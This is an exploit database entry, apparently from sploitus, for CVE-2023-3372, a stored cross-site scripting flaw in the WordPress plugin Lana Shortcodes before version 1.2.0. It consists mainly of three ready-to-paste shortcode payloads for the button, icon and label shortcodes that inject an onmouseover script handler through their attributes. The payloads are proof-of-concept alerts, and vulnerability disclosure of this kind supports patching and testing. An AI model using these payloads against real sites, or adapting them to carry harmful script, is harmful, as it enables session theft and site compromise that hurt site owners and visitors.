Exploit for Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS CVE-2023-3372

Name: Exploit for Lana Shortcodes < 1.2.0 - Contributor+ Stored XSS CVE-2023-3372
Rating: 5 (65 reviews)

2023-06-26 | CVSS 5.7

## https://sploitus.com/exploit?id=WPEX-ID:3396B734-9A10-4070-802D-F9D01CC6EB74
Insert any of the following shortcodes in a page/post:

*Button shortcode
[lana_button size="md" type='" onmouseover="alert(1)" style="background:red;"']Lana Button[/lana_button]

*Icon shortcode
[lana_icon name='home" onmouseover="alert(1)" style="background:red;"']

*Label shortcode
[lana_label type='" onmouseover="alert(1)" style="background:red;"']New[/lana_label]